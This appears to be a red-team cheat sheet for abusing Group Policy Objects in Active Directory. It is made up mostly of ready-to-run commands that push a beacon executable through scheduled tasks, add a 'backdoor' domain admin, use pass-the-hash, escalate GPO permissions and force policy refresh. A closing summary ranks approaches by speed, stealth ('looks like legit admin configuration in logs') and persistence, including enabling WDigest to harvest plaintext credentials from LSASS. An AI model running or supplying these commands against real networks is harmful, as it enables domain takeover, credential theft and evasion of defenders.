# EXPLOIT — LINUX (pyGPOAbuse)
# ==========================================
# Get GPO GUID first (ldapdomaindump or SharpView)
python3 pygpoabuse.py CORP/jsmith:P@ss -gpo-id "{GPO-GUID}" -dc-ip DC_IP -command "C:\Temp\beacon.exe" -taskname "Update" -force
# With PTH
python3 pygpoabuse.py CORP/jsmith -hashes :NTLM_HASH -gpo-id "{GPO-GUID}" -dc-ip DC_IP -command "net localgroup administrators CORP\jsmith /add" -taskname "Init" -force
# ==========================================
# FORCE GPO UPDATE (don't wait 90 min)
# ==========================================
# Via WMI (if you have access)
Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList "gpupdate /force"
# Via SMB exec
.\SharpExec.exe -m=wmiexec -i=TARGET -u=Admin -p=P@ss -c="gpupdate /force"
# Via scheduled task in same GPO
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Refresh" --Author "NT AUTHORITY\SYSTEM" --Command "gpupdate.exe" --Arguments "/force" --GPOName "TARGET GPO" --Force
# ==========================================
# ACL ESCALATION
# ==========================================
# WriteDacl → GenericWrite
Add-DomainObjectAcl -TargetIdentity "{GPO-GUID}" -PrincipalIdentity "CORP\jsmith" -Rights GenericWrite
# WriteOwner → Full Control
Set-DomainObjectOwner -Identity "{GPO-GUID}" -OwnerIdentity "CORP\jsmith"
Add-DomainObjectAcl -TargetIdentity "{GPO-GUID}" -PrincipalIdentity "CORP\jsmith" -Rights All
# ==========================================
# MITRE ATT&CK MAPPING
# ==========================================
# T1484.001 → Domain Policy Modification: Group Policy Modification
# T1053.005 → Scheduled Task/Job: Scheduled Task (via GPO)
# T1547.001 → Boot/Logon Autostart: Registry Run Keys (via GPO registry)
# T1547.005 → Boot/Logon Autostart: Security Support Provider (via GPO scripts)
# T1136.002 → Create Account: Domain Account (via GPO add-local-admin)
# T1562.001 → Impair Defenses: Disable or Modify Tools (disable Defender via GPO)
# T1078.002 → Valid Accounts: Domain Accounts (abusing GPO rights)
# ==========================================
# ATTACK SCENARIO SUMMARY
# ==========================================
# FASTEST DA: GenericWrite on Default Domain Controllers Policy
# → AddComputerTask --Author SYSTEM --Command "net user backdoor P@ss /add && net localgroup administrators backdoor /add" --Force
# → Wait ~5 min (DCs refresh every 5 min) → login as DA!
# STEALTHIEST: Add local admin silently
# → AddLocalAdmin on Workstations GPO
# → No process spawn, no script, just group membership change
# → Looks like legit admin configuration in logs
# MOST PERSISTENT: Enable WDigest + startup script
# → Enable WDigest via GPO → users re-auth → plaintext in LSASS
# → Add startup script → beacon runs every boot
# → Even if beacon dies → comes back on next reboot